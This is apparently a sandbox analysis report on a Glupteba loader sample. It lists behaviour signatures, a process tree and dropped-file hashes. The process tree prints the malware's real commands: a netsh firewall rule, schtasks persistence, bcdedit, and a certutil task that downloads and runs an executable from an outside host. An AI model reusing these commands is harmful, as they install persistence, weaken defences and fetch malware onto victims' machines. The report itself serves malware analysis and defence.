Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/06/2026, 10:12

General

  • Target
    tmpp5qkkzdm.exe
  • Size 4.8MB
  • Sample260602-l8wrqaay4t
  • SHA256 52837931d6b644631382132d3d60a84375fcb429d7857bf1fd5c622b20fc10b3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 4 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 40 IoCs
  • Modifies system certificate store 2 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpp5qkkzdm.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpp5qkkzdm.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4968
    • C:\Users\Admin\AppData\Local\Temp\tmpp5qkkzdm.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpp5qkkzdm.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4168
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3812
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1540
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Drops file in Windows directory
        • Modifies trusted root certificate store through registry
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4480
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1772
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4212
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:1356
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4120
  • C:\Windows\rss\csrss.exe
    "C:\Windows\rss\csrss.exe"
    1⤵
    • Executes dropped EXE
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4316
    • C:\Windows\rss\csrss.exe
      "C:\Windows\rss\csrss.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:640
  • C:\Windows\system32\cmd.exe
    cmd.exe
    1⤵
      PID:3736
    • C:\Windows\rss\csrss.exe
      C:\Windows\rss\csrss.exe
      1⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3500
      • C:\Windows\rss\csrss.exe
        "C:\Windows\rss\csrss.exe"
        2⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4716

    Network

          MITRE ATT&CK Enterprise v16

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          patch.exe

          • Path C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          • Size 1.7MB
          • SHA256 f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          csrss.exe

          • Path C:\Windows\rss\csrss.exe
          • Size 4.8MB
          • SHA256 52837931d6b644631382132d3d60a84375fcb429d7857bf1fd5c622b20fc10b3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/640-21-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/3500-25-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4168-10-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4316-16-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-32-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-33-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-39-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-38-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-22-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-37-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-36-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-27-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-28-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-29-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-30-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-31-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-35-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4480-34-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4716-26-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4968-4-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4968-0-0x0000000000400000-0x0000000004B4F000-memory.dmp

          memory/4968-1-0x0000000006930000-0x0000000006CD7000-memory.dmp

          memory/4968-2-0x0000000006CE0000-0x00000000073D6000-memory.dmp

          memory/4968-5-0x0000000006930000-0x0000000006CD7000-memory.dmp